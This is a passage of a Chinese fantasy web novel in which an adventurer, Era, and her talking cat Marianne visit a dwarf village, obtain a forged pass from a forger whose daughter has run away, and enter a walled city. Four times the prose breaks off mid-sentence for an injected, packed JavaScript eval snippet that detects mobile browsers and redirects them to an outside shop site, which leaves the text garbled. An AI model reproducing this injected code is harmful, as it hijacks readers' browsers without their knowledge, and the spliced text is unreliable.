“我说,你再进一次黑市,又要花钱买路的。你好歹心疼一下你的钱包。”玛丽安这时学会劝人理性消费了。 “才不要,待在地下三天,我控制不住买东西花的钱一定远超买路钱,”厄拉头脑清醒,“最重要的是——” 她非常想念很久以前吃过的矮人特色美食——红酒酱油煎球茎泥丸子,一个有人的手掌那么大,用料丰富大方,要蘸百里香和蜂蜜的调味汁来吃。光想到就让她直流口水。 厄拉童年时,镇上有一家火爆的矮人餐馆,无论什么时候去都要排长队。也只有当她在学校取得好成绩时,妈妈才肯带她去吃。她每次都馋那一口丸子,永远吃不腻。 村庄是没有守卫看管的,只有几个抽着烟袋的老年矮人扛着长矛优哉游哉地在村口散步,权当保安。 饿急了的厄拉鼻翼翕动,循着食物的香味找到了一家闹哄哄的酒馆。 “这种时候倒是很敏锐嘛。”玛丽安无奈。 酒馆里热得像个蒸笼,暖黄色晕眩的火光下,矮人们都脱的只剩一件打底衫,裸露着肩膀和胸脯,绑起毛燥的头发,要么一边猛敲桌子催促上菜、和邻座高谈阔论,要么已经喝得醉醺醺,跳到桌上载歌载舞。 “很热闹呀。”厄拉选了靠近角落安静些的一张桌子,要了球茎泥丸子和奶油炖菜,又为玛丽安加了一盘墨鱼丸子。 她把陶土餐盘推向玛丽安,但它皱起鼻子,只是嘬了两口就不吃了。 大嚼特嚼、嘴巴被烫红、满足得快要流眼泪的厄拉奇怪道:“不合你口味?” 这盘墨鱼丸子并没有因为是给宠物吃的就敷衍了事——矮人将食物看得很神圣。鱼肉剁成细腻的肉蓉后,捏成丸子,抹上厚厚的蜂蜜再扔进油锅,炸到皮酥脂流、肉香四溢,捞上来再淋上枣酒。厄拉没忍住诱惑,也捻了一颗放到嘴里,牙齿一咬开酥皮,甜味就在舌尖上爆炸,随后是细嫩鲜美的鱼肉,使整道菜不至于太过油腻。放着这样的美食不吃,简直是暴殄天物! “还是腌鱼比较适合我。”玛丽安说。 难道猫的味蕾和人不一样? “食物只要能填饱肚子就行,做得太过美味就会激发人的口腹之欲。而一旦被欲望控制,做事的能力就会下降,”玛丽安一本正经地分析道,“你瞧这些矮人,满脑子只知道吃喝玩乐,难怪被称为最愚蠢的种族。连兽人都不如。” 厄拉差点把嘴里的东西喷出来。幸好酒馆足够喧闹,没人在意玛丽安这番歧视性的暴论。 “不是吧,生活那么不易,想吃点好的也犯法吗?矮人很少有做文职工作的,大多数人都是干体力活、挣辛苦钱,消耗的能量多,食欲自然旺盛。这种情况下,多吃点也没什么。” “你不想想看,矮人只能做体力活,不就是因为被食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444043|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲控制无法思考更深入的问题、无法培养智慧吗?” 厄拉在胸前比了个叉:“停!我要享受食物,不想辩论先有蛋还是先有鸡的问题。” 然而,被玛丽安看大馋猪一样鄙夷的眼神盯着吃饭,厄拉总觉得不舒服,眼睛向旁边乱瞟。 好巧不巧,她目光移动,恰好注意到从座位上起来准备离开的两个矮人之一有些眼熟。透过餐桌上朦胧的热气,她确认,那个是刚刚见过的鼠姨的女儿。 她身边并排的是个矮人老妇,正拍着她的背,嘴巴叽里咕噜说着什么。 鼠姨的女儿看起来郁郁寡欢,不安地在胸前搓手,低着头一言不发。 厄拉灵光一闪,惊恐地想到,鼠姨女儿一个人在外面,旁边那个老太婆一定在忽悠她,准备把她拐卖了!她打击过不少这样的人口贩子,知道这样的事在各地都屡见不鲜。 事不宜迟,她一下从座位上弹起来,三步并作两步,跨过一张又一张桌子,拦住要出店的二人。 两人抬头,疑惑地看着她。 “我们结账了。”老妇说。 “你不能带这个孩子走!” “可可,你认识她?” 鼠姨女儿,被称作可可的女孩嘴角一抽:“这是我妈的客人。但…我也不知道她想干嘛。” “这样啊,”老妇了然,“你好,姑娘,我是可可的姥姥。” 厄拉:“?” 田埂上,厄拉捣蒜似地点头道歉。 “真是不好意思,因为我小时候被拐过,所以遇上这种事,总是草木皆兵的。” “不用往心里去,这孩子一个人从家里跑出来,的确会让人担心。”可可姥姥安慰道。 一番交谈下来,厄拉大致理清了事情的前因后果:卡罗拉——也就是可可的通行身份证明被扣在鼠姨手上,导致她不能进入任何一座有门卫把守的城镇,也不能通过设置了关隘盘查的公路,只能在黑市周围的几个破烂小村庄打转。 她姥姥就在这个村庄里种田。每当可可与鼠姨吵架后,就会躲到姥姥家里,等气消了再灰溜溜地回家。 “我妈妈想让我继承她的工作,但是我想去镇上找别的活计干。我想要一份能跟很多人一起热热闹闹齐心协力的工作,像她那样整天把自己关在阴暗的小房间里,对着纸笔的工作,我做不来。” 可可长叹一口气:“可没有身份证明,没有作坊和商店愿意雇佣我,我连个学徒都当不了。“ “在村庄里打工不行吗?比如去馆子里做个厨子?”厄拉问。 “不可以,村庄也不是法外之地,人家会来查营业执照的。只有黑市这种灰色区域才能免过这一遭。” 听起来确实很麻烦。厄拉挠挠头,烦恼道:“为什么鼠姨不让你上来工作啊?” “妈妈对外人很警惕,她说,在黑市,你还知道这些人都是坏人,一个都不可信;在上面,那些人装得人模狗样的,实则心里无时无刻不在盘算着怎么把你吃干抹净,防不胜防,更加危险,”她一手托腮,眺望着田垄播种的农民们,“至于原因,可就说来话长了——” 6. 矮人农家乐(二) 事情要追溯到四十年前,那时鼠姨还被称作老鼠,事业也刚在起步期。她与一个人类男子坠入了爱河,一发不可收拾,并生下了混血儿可可。 那个男人一天告诉她,他要去主城区,为女儿绑一位家庭教师回来,需要鼠姨给他做一张身份证明。鼠姨没有多想,送别他离开了黑市,从此再也不见他的踪影,连一封书信都不曾收到。 鼠姨在痛苦中后知后觉——自己被骗了,以一种最残忍无耻的行径。 可可自有记忆以来就没有见过父亲的模样,他只活在母亲的咒骂中——每当鼠姨遇上极品的客人,她就会把那些人跟那个骗子比较。也是由于这段关系,鼠姨面对人类男子时总是恶声恶气的,恨屋及乌。 “我理解了…”厄拉感慨道,“骗钱骗色的混蛋。” 可可尴尬一笑:“总说家丑不可外扬,不过反正在我们家里,早就不把那个男人当作一份子了,随便骂。” “——不过,我觉得外面的世界并不像母亲说的那样险恶。”可可抱住双膝,话锋一转。 “大概几年前,我央求妈妈带我去主城区逛一逛。她虽然跟我大吵一架,但还是骂骂咧咧地领着我去了。主城区比地底下热闹繁华多了,街上的人都笑盈盈的,浑身又是汗味又是香味,说起话来也很有腔调。” 稍等一下,这好像就是鼠姨上文说的人模狗样笑里藏刀吧?厄拉抹了把汗,知趣地沉默。 “而且,就在那次,我认识了这么多年除了地灵外的第一个新朋友。她是精怪,再给一个学者当助手。我们在餐馆里见面,我看她吃饭时还在读书,就去跟她搭讪。没想到就聊起来了。” 这好像也是被骗的前奏啊。 “她听我说我是第一次来到地上,很吃惊,说她绝对忍受不了被困在一个地方的生活。她鼓励我,到主城区来找份工作,不要一辈子都闷在不见天日的地方。我其实打心眼里不想继承妈妈的手艺,所以,她这么一说,我就心动了。” “原来如此,所以你想要取回通行证。” “对,但妈妈肯定不会同意的,我也早就料到了,”可可的目光变得坚定,迎着光,方圆的脸线条硬朗,“但我不会轻易妥协的,我会一直争取到底。” 可可姥姥叹一口气:“这孩子的脾气和她母亲一样倔。” 厄拉一只手在草地上划着圈,头斜靠在膝盖上,若有所思。 “我支持你的决定。虽然我对这个问题没什么发言权。我从小到大,没有一次违抗过我母亲的要求——至少大事上没有。比如我的职业,就是母亲定的。” 可可打量她的胸甲,以及她贴住皮肤的薄衫下隐隐的肌肉线条。 “你是勇者吧?” “对,”厄拉补上,“不过已经辞职了。” “勇者是不是哪里都可以去?” “不能这么说,要听从雇主的需求,去到指定的地方。不过,确实比旁人活动迁徙的机会多,而且去的都是一些人迹罕至的地方。这就是探险的乐趣所在。” 可可问:“你都去过哪里?” 厄拉挠挠头:“我是从岛外来的,我说的地方你不一定知道呀。” 听了这话,可可和她姥姥的脸色变了。 “从…岛外来的?”可可吞吞吐吐,“上一次岛外有人来,还是…” “是一百多年前的事,”姥姥接话,“是人类老布伦特,他还来过我们村庄歇脚。后来,他被带进宫里,从此音信全无。” 厄拉突然感觉全身一股恶寒,手臂上起了鸡皮疙瘩。 “带进宫里,做什么?” “没人知道。” 厄拉瞟身旁的玛丽安——可恶,它竟然像听不懂人话一样,躺在地上翻肚皮晒太阳呢。 “不过说起来,他上岛时就够老了,没活多久就去世了也有可能。” 姥姥的话勉强让厄拉的心安定了一点。 “或许没事呢。不要杞人忧天。”她安慰自己。 “岛外面的世界,一定更大吧,”可可的心思反而被牵远了,“可惜我连这个村庄都出不去。” “那你打算怎么办?一直待在这儿不回家?还是回去与鼠姨谈判?” 可可抬头望天,天空心情晴朗,但它的晴朗不会播撒:“我也不知道…在没想好之前,我还是想透透气。” 姥姥的村庄不大,石子路坑坑洼洼的,有一种未被开荒的美。路上,人和鸡鸭鹅一起悠哉漫步。这些禽类甚至比人还要霸道,厄拉走在路上,迎面撞见一个被大鹅追得抱头鼠窜的矮人男孩。 她本想解围,但被那大鹅凶狠的目光一瞪——不要多管闲事,她还是……出手了,退一万步说,一只鹅凭什么瞧不起她,凭她是臭外地的吗? 这只鹅徒有脾气,身手远没有玛丽安灵敏,厄拉拎住它的脖子可谓手到擒来。她麻利地掏出绳子,将它五花大绑,抱到男孩跟前。 “拿去做烤鹅吧。” 满脸灰的男孩感激不尽,盛情邀请她们去自家分食这只大鹅。正好姥姥家中午本来也没开火,一行人正愁晚上吃什么,自然是满口答应。 原来男孩家还有几桌客人,有的是帮他们家播种的劳工,有的是卖种子的商贩,总之,只要帮过他们家的都来蹭了一顿晚宴。 姥姥和可可很快就和一群乡亲聊欢了,厄拉作为唯一的人类被无数个问题夹攻,目不暇接。玛丽安没来得及跟上她,就被男孩抱到家里,被一帮小孩狂薅,承受狂风暴雨般的亲吻。 一开火,浓汤的味道就弥漫开来,勾得人垂涎三尺。炊烟缭在紫红色晚霞中,一直追随着群山后的夕阳。 厄拉期待已久的矮人大餐终于端上桌了。民间自家的菜虽然不及餐馆里的精致,但胜在用料扎实朴实,粗糙切出的肉块又大又饱满,连透明的筋都看得见。肉本来还要再煮一会儿,吸收透汤汁才入味,可饥肠辘辘的人们根本等不急,叉子飞快地往锅里戳。厄拉不甘示弱,拿出毕生功夫抢食。 墙角的玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444044|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽安舔着小鱼干,看着急红了脸的厄拉,和旁坐的人鼓足了气撕扯一块鹅肉,另一边的人还在不断地往她碗里舀南瓜,恨铁不成钢地摇了摇头。 矮人们的餐桌上免不了推杯换盏,热过的自家酿的枣酒又甜又浓醇,厄拉在众人的欢呼中猛灌了好几杯。等到告辞的时候,姥姥和可可只能架着她走。 “哎,这人也喝得太多了吧?”可可埋怨。 “哈哈,我看她今天很高兴,心情好了,难免忘了节制。”姥姥倒是不在意。 “是哦,姥姥,”醉醺醺的厄拉还没有完全丧失意识,“我今天很高兴,很久没有这种,像在家里吃饭的感觉了。” 她抽走搭在两人肩上的手,踉跄地向前走: “平常探险的时候,在路上只有干巴巴的压缩食品和补剂吃,只有很少的时候,会烤一些野味,不过也没有佐料。路过镇上的小馆子,馋也不能进去,因为时间紧任务重。” 可可一愣:“当勇者这么辛苦?” “总之,我已经很久没有这么敞开肚皮吃一顿之后,还能无忧无虑地漫步在石子路上了。” 厄拉扬起头,张开双臂,似乎要去拥抱头顶那片璀璨的星空。 今天的夜空很晴朗,无云,星子铺满了深蓝色的天。 可可呆呆地望着天:“妈妈有多久没有好好吃饭,好好休息了呢?” “你妈妈从很小就不拿自己的身体当回事,我也很愁呢。” “我从小就没见她正经吃过一顿饭。我果然还是不想那样。如果我要选工作,要么能让我好好休息,要么就让我能天天透气,看到天空。” “后者的话,你可以选择去当勇者,不过那肯定满足不了前者了。”厄拉嘻嘻一笑,“不过,你还是找一份正经工作吧,你母亲干的事…毕竟是非法的。” “你可是主动上门找我妈干非法的事。” “无意冒犯。你母亲在这一行是顶尖的——即使这行非法。” “我知道。如果我继承了妈妈的事业,光啃老本也够我啃几十年,”可可有些忧伤,“我妈妈的优秀,我比所有人都更早知道。同时,我也比所有人都更了解她平庸、不讨人喜欢的那一面。” “这话说的,光听妈妈的话以后可是会后悔的,你也不想完全变成和你妈妈一模一样的人吧。” “你喝醉了之后,说话口气变得嚣张多了啊。” 厄拉撅起嘴吹起口哨来。 “当勇者啊…”可可沉吟片刻,“或许也可以试试。” “首先是拿到通行证。”厄拉强调。 “先不要提起这个话题嘛!” 三人一猫悠闲地踱步在乡间小道上,可可沉浸在自己无拘无束的想法中,姥姥欣慰地看着她逐渐露出了笑容。于是当厄拉终于酒劲上头,扑通一声摔了个狗啃泥时,没人来接住她。 玛丽安无奈地走上前,拿肉垫拍了拍她的脑袋。 “人不能闲,一不工作就容易得意忘形。” 7. 节外生枝 此后的两天过得很平淡。可可自从第一天大倒苦水之后,其他时间都一个人呆坐在田垄上,吹蒲公英玩。她原来是很文静的性格。这让厄拉疑心,她到底适不适合热热闹闹的工作。 “她是在地下闷久了,有话也只能憋在心里,所以沉默寡言的,”她姥姥解释,“若是有人肯听她说话,她能滔滔不绝唠几个晚上呢。” “是吗!”厄拉抹了把汗,继续把草莓的头子拧下来,“呀,这个长得像一只鸡!” 矮人们种草莓不知用了什么肥料,果实又大又肥,个个奇形怪状的,但遗憾的是水分过多,甜味不足。 厄拉暂住在姥姥家里,久违地恢复了正常作息。鸡鸣时候就能精神饱满地起床,帮姥姥做农活,从村头懒洋洋地逛到村尾,最后溜达到酒馆里美餐一顿。 玛丽安却闲不下来,神经质地缩在厄拉卧房的角落里,一点风吹草动都紧张兮兮的。 厄拉问:“你怎么这个时候还这么紧张?” “没有事干,我心里就慌。” “你可以去捉老鼠。” 它嗤一声:“这是我该干的活儿吗?” 话虽如此,当一只肥美的老鼠当它是死的,大摇大摆从它面前走过时,玛丽安还是一爪子摁住了它的尾巴。这只求锤得锤的老鼠沦为了它两天的玩具。 直到最后一天,玛丽安将它的喉咙咬断,宣告单方面的虐待游戏结束。 “三天到了,我们回去找鼠姨吧。”它不容置疑地说。 厄拉走到田埂上。可可正捻着一株已经秃了的蒲公英,发呆。厄拉问她要不要与她们一同回去。 可可拒绝了。 “我还没有想好。我只知道我心里是抗拒回到家里的。你们见到我妈妈,替我向她报个平安吧。” “好,”厄拉想想,“我们会试着劝劝她的。” 可可扭过头,百感交集地笑着看她:“不用麻烦。你们只用告诉她,我没有服毒就好。” 鼠姨的手艺果然是一绝。 厄拉欣赏着刚拿到的身份证明,啧啧称奇。 “简直跟真的没有什么区别!” 玛丽安在一旁无语:说得像她见过真的一样。 证明的防伪标识是政府的烫金戳印,印着王的头像,守卫验证的时候,会拿一小根金棍子点一下戳印,印上的王会点头——这就说明证明是真的。 “不用担心,主人做了那么多单子,没有一次出过岔子的。”地灵很确信,“就算有问题,那倒霉蛋也没机会能回来给差评了哈哈。” 要是不加最后那句不合时宜的玩笑,服务体验会好很多。厄拉抽了下嘴角。 “对了,我们有话要跟鼠姨说。我们见到她的女儿卡罗拉了!” 鼠姨在听厄拉说话时,手上的活还没停。方才听地灵说,鼠姨这几天干活的速度格外快,几乎没有休息的时候。她这一单其实一天前就完成了。 “她没跟你们一起回来呀?”鼠姨波澜不惊地说。 “她说还要再考虑一下。” 鼠姨取下了眼镜,用力地捏眉头。 “臭丫头,越大越不服管。” “可可现在也到了探索人生的年纪了嘛。” “小姑娘,你才几岁,懂什么人生?” 厄拉凝噎了一下,刚想张嘴争辩几句,却见鼠姨从自己的外套内口袋里掏出了一张纸片。 “她的身份证明,拿去给她吧。” 厄拉惊得张开了嘴,手迟迟没有伸出去。 “来拿呀!我的手可不能闲下来。” 她这才忙不迭接过。头像的位置,画上可可的眼神如她本人一般倔强。 “告诉她,我是不可能给她钱的。她要是赚不到钱养活自己,要么死外边,要么就夹着尾巴回来给我打下手。” 鼠姨顿了顿,又说:“告诉她,无论在外面做什么工作,都要做到最好、最顶尖,不然就不要做。” “还有,不要轻易相信男人的话…” 厄拉打断:“您有这么多话,为什么不上去面对面跟她说呢?” 鼠姨一翻眼皮:“我忙着呢。” 看她案头的纸堆,即使加班加点,任务量也没有丝毫减少啊。 厄拉摩挲着可可的证明,突然没头没脑地问了句:“这是真的还是假的?” 鼠姨已经开始忙活了:“只有拙劣的产品才是假货。而官方做的和我做的都完美无瑕,自然都是真的。” “喔。”这就是高端匠人的自信! “哦对了,可可让我提醒您,坐久了一定要起来走走,不然屁股会越变越大的!” 鼠姨这才真的敲响了送客钟。 “你们可以滚了。” 身上带了身份证明就是不一样,走路都能抬头挺胸昂首阔步了。在通往主城区的熙攘大道上,厄拉恨不得横着走、趴着走,她将这种感觉称为找回人权。 “不过真没想到,可可居然不是第一时间进城,而是选择了参加镇上的冒险小队。”厄拉感慨。 “这有什么想不到的,你没见你说自己经历的时候,她眼睛都亮了?”玛丽安倒是不以为奇,“不过我是没想到,现在当勇者还要筛经历,没有工作经验的大队伍还不要。” “也不全是吧,如果拿过镇上的剑法大奖或法师大奖,还是可以被破格录取的。不过大部分队伍还是看经验的,谁也没有闲工夫带一个新人嘛。可可去找一个新人队伍刷经历,是很正常的做法。” “真是不懂你们。看能力的话,直接过几招不就好了,最好的勇者都是天生的,哪有磨时间磨出来的。” “哎,谁叫大部分人都没什么天分,只能靠熟能生巧,”厄拉叹息,“不过,在这里锻炼履历肯定比外面有用。” “怎么说?” “因为岛就这么大,多走几次,地貌路线、会出现的魔物、应对措施就都清楚了。她们又不能去岛外,没有那么多层出不穷的新状况。” 这也是让厄拉隐隐不安的一点——这座岛屿这么多年没有一个人走出去过。就算玛丽安进城后信守合同给她船,她真的能离开吗? 不过,玛丽安不也是要走的吗?她一定有办法。 冒险最忌讳的两点,一是完全不知道紧张害怕,二是过度的担惊受怕。 这是一杆很难找到完美临界点的天平。幸好,没有那么多时间让冒险者为平衡焦虑。会不会有危险?答案都在路上,不要停下脚步。 渐渐靠近主城门,厄拉感受到魔力一点点的增强。它变化得很缓慢,即使是没有魔力的人也可以在接近城门前慢慢适应这种波动,不至于被魔力震倒。 主城门非常高耸,几乎要把天空包起来。而比城墙更高的是魔法屏障,那是真的直通云霄。这样强大的魔法,单凭一个法师的力量是难以维持的,一定有一群人,在城中为防御输送魔力。 “你说你们岛上几百年才来一个外人,把城门修这么高是为了防谁?”厄拉不解。 “天晓得,”玛丽安冷哼,“兴许是为了防我吧。” 它?一只消瘦的小猫咪,它有没有城墙的一块砖高还说不准呢。左看,右看,它也不像是体内蕴含巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444045|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大能量的邪恶魔法师。虽然它自称曾是岛屿的守护神,但厄拉打心眼里无法将这个词和它联系起来。 城门附近的灌木丛下,有几个模样狼狈的人聚在一起啃干粮,嘴很忙,又要吃,又要骂骂咧咧那些守卫。厄拉耳朵尖,听了几句。 “查这么严,防鬼呐。” “少骂几句吧,你只是没证,没看到那个拿假.证的直接被抓走了嘛。” “这有没有密道啥的,我这批急货再不送进去,人家要把我大卸八块了。” “哟,人都过不去还想货过去,那你只能做梦去了。” “喂,什么好货,让我看一眼。” “滚滚!喂,不许碰!” 两人推搡间,撞到了几个木匣子,咕噜噜滚到一个精怪女孩脚下。她也不怕,捡起来后发现匣子突突地在动。她打开一看,惊叫起来——是一堆白花花的碎骨头。 周围人都凑过来,厄拉也不例外。 “是骨笛!”一个懂行的老头指认,“兽人用鸟的趾骨做成的骨笛。” 人群立刻围了里三层外三层。直到身着重甲的守卫们匆匆赶来疏散,那个在路边怨诽的人——骨笛的主人早已不翼而飞。 守卫把他们遗落的货物全部收起来,又派了几个人去找那人的踪迹。眉宇之间,都很紧张。 厄拉蹲下来,贴着玛丽安的耳朵问:“骨笛是什么不得了的东西吗?” 玛丽安舔舔爪子:“骨笛是兽人之间用来传递情报的工具,把声音记录在骨头上,收到的人敲击三下,对骨头缝吹一口气,记录在里的声音就会放出来。所以,方才这些守卫晚来一步,兽人部落的情报就妇孺皆知了。” 厄拉一知半解:“兽人把信息传递到城内,还需要偷偷摸摸的?你们岛歧视兽人?” “我不知道,我连主城区都没进过,哪里知道里面的人怎么想?” 明明对黑市的事这么了解。厄拉觉得玛丽安在装糊涂,不过也没能耐套它的话。 “不过,兽人不服管,这是事实。”玛丽安补充道。 节外生枝了这一遭,厄拉向守卫递出假.证时心跳得快要飞出胸腔,脸变得跟茄子一样紫,一刻不停地揉捏着玛丽安的后颈,下手没轻没重的,导致玛丽安一直在喵喵叫。 她的前方站着一个持矛的士兵,目光像冰锥子,挡住她的前路。她后面是漫漫长队,进也不成退也不成,只能焦躁地瞅着面前跟她隔了一扇玻璃的查证的守卫。 或许是玛丽安实在叫的太大声了,守卫不耐烦地看了它一眼:“这是你的猫?” “对它叫玛格丽特是一只三岁的母猫全身都是白色的我从小养到大您可以看证明第三页有宠物认证。”厄拉打机关枪一样突噜出一溜子话。 “猫呀。”守卫沉吟,对身后人说,“拿盆水来。” 啊?人家的小狗小鸟小龟小鸭都没有这个关卡呀?厄拉脸上堆着谄媚的笑把玛丽安抱到守卫手上,心脏已经超负载工作了。 守卫把玛丽安放到水盆里,想看看它的白毛是不是染的。 幸好只是水。厄拉送了一口气,看着玛丽安很认真地做戏,一碰到水就开始蹬脚哈气,一通乱叫。 独角兽的血,哪有那么容易洗掉。 复核没有问题,守卫把湿漉漉的玛丽安还给了厄拉。厄拉本来不想接住它,但它偏偏像受惊了一样,一个劲地往她怀里钻,还甩毛,溅了她一脸水。 “没有问题,女士,”一直紧绷着脸的守卫终于露出了一点笑——礼貌性的职业微笑,“请收好您的证明。欢迎您进入城区。” 8. 坏猫 “大姐姐,买份报纸!今天的新闻很劲爆哦!” 厄拉低下头,看着那个长着鳞片的蛇人小女孩递出来的报纸。 “佩特拉日报,”她读,“莉迪亚将军大捷,即将凯旋……希罗底酋长致信陛下希望面谈…时事新闻啊。”她说不上多感兴趣。 那女孩不慌不忙,从腰袋里掏出另一份色彩更为艳丽的报纸。 “这上面一定有你想看的。” 厄拉将信将疑地接过,不看不知道,一看吓一跳: “佩塔拉情感实录…前王夫绯闻女友与公主同游,举止亲密引争议…汉斯家长公子遭遇魅魔诱惑难忍出大糗…花仙子星选最想被ta拥抱排行榜出炉…?” “这是最后一份了哦。”女孩强调。她手里还有一大沓《佩特拉日报》,看来岛民的阅读喜好一目了然。 厄拉毅然加入了广大吃瓜岛民的队伍,细细研读起来。 “哦,原来王早就离婚了,现在膝下只有一个公主,但她和他前夫关系还保持得不错。啊,排行榜第一居然就是王吗?呀还有图片。” 报纸上印了一张王的大头像,比通行证上印的更为清晰。王是一个中年女子,亚麻色的微曲长发盘在脑后,眉眼低垂,温柔悲悯,一道泪沟让她的气质更加成熟。虽然不知道她执政能力如何,但看外形,确实是很容易让子民心生好感的王。 厄拉之所以能有时间细细品鉴这些花边新闻,是因为她必须在花店门口等待玛丽安找到它的朋友,变回人形后回来兑现合约。它已经走了有一会儿了。 厄拉最初担心玛丽安找借口跑单。她反应慢半拍,进城后才意识到两人由于购买假通行证,早已是一条船上的蚂蚱,要死一起死,玛丽安立的那张字据一点效力都没有。它就是不履行,厄拉能找谁来仲裁呢?上了法庭,一个揭露对方是人人喊打的黑猫,一个举报她买假.证,最后双双锒铛入狱,做一个牢房里的好室友,费尽心力图啥? 玛丽安说,这都是信任的问题。 “那我跟着你一起去找。” “你在这里等着就行。那个人不见生人,你跟着来了也不能进她的门。我若是想逃,找到她后有一万种方式让你再也见不到我。我只能向你承诺我不会骗你,至于你愿不愿意信,那是你对我的信任问题。” 无解。厄拉只好忍气吞声地等着。但玛丽安已经离开她的视线有快两个小时了。厄拉心里越来越焦躁,开始认真考虑检举它会不会给自己将功折罪的事了。 说起来,玛丽安恢复人形会是什么样子呢?厄拉脑补了一个骨瘦如柴的黑发女人,带着贱兮兮的笑容,嘴巴比蜂针还毒,用金色的眼睛瞪每一个人。 于是街上每一个路过的黑发女人都会引得她多看两眼,生怕错过。 街头意外的有很多流浪猫,灰的、白的、斑纹的、杂色的,全都脏兮兮,在人能想到的任何一个角落随地大小睡,完全不怕人。 而且,这些形形色色的猫中,果然没有一只是黑色的。 厄拉在心里追忆了一番马上就要变为过去式的猫形玛丽安。就在这时,一个熟悉的身影窜到她的脚边。 “……” “——玛丽安?你怎么还是只猫?” 是的,玛丽安连根毛都没有变化地回来了。它的样子倒是平静: “我要找的那个人,她已经不住在原来的地方了。” 在一番高速思考后,厄拉大脑宕机了:玛丽安找不到那个人,就找不到解除魔法的办法;不能解除魔法就算了,它也没有能力支付答应给厄拉的钱和船;没有船,厄拉就回不了家,会像可可姥姥说的那个老布伦特一样到死都困在岛上。 “那那那我们有什么办法找她?她有留下什么讯息吗?”事已至此,她只能贡献自己绵薄的出谋划策之力。 玛丽安瞟了她一眼:“没必要紧张成这样,她如果还在城里,一定能感应到我来了。过几天会主动来找我们的。” “那她不在怎么办?” 玛丽安摆摆尾巴:“那就听天由命吧,不过这种可能性几乎没有。” 它倒是轻松,厄拉腹诽,它作为一只不知活了多少年的猫妖,哪怕等上两三个月对它来说不过是弹指之间;而对厄拉就不一样了,海上的状况变幻莫测,再过几个月就是海上风暴肆虐的时候,航行到哪儿都避不开,那时回家才真是逆天而行。 她一点儿没有掩藏自己不满,脸皱得如同一个纸团。破天荒的,玛丽安注意到她的情绪后主动安慰她: “我向你保证,最迟大后天,她一定会来的。” “你怎么保证?你有她的消息吗?” “这是我和她的默契。” 就是说是无法证伪的玄学。厄拉撇嘴。 “我们还剩多少钱?”玛丽安问。 厄拉拍拍腰包:“不多了。还有四个金币。” “让我们在城里吃香喝辣地过上四五天应该是够了。”玛丽安点头。 看来岛上的金价与外面差异不大。 厄拉狐疑地瞅着玛丽安:“吃香喝辣”四个字从它嘴里吐出来,怎么听怎么怪。 “干嘛,”玛丽安用白眼回应她的目光,“我们可是花了好一番力气才进城,离胜利之剩一步之遥,你难道不觉得应该庆祝一下吗?真奇怪,我还以为会是你先提起这件事的。” 厄拉很认真地说:“你有没有听说过,不能半场开香槟?” “我们的进度早就超过半场了。不管这些了,我刚才在路上看到了一家很多人排队的餐馆,都大中午了,你不饿吗?” 说归说,闹归闹,别拿吃喝开玩笑。厄拉用了三秒接受玛丽安的提议,并啧啧称奇:玛丽安也有被食欲控制大脑的时刻。 玛丽安所说的是一家人类开的家庭餐厅,装修很别致。大厅面积不小,绿化做得很好,用宽大的芭蕉叶盆栽分割了每一个席位,橙黄色的小灯曛亮每一张矮桌,客人们缩在软塌塌的靠垫上,温馨惬意。 等了一小时之后,一人一猫终于跨进了餐厅的门槛。厄拉吸着食物的气息,垂涎三尺。 “我看看…要这个鸭油烤面包、醋渍百合花瓣、红酒慢炖牛腱子,再给猫来一碟豆腐煎鳟鱼。” 这都是常见的人类菜肴,不会有人把它做难吃的。 “还有酒,最重要的庆功酒!”玛丽安低声提醒。 “对,再来一壶蜂蜜酒!” 在等菜过程中,玛丽安轻咳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444046|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两声,用很郑重的、甚至像长辈一样的语气说: “这件事办完,你也该准备回家了吧。对于这座岛,其实你连它十分之一的美都没有探索到,作为一个勇者,这点还真可惜。以后,你估计再也没有机会回到这里来了。坦白说,我作为这座岛曾经的守护者,非常希望每个人都能像我一样被它迷住,并深爱它。” 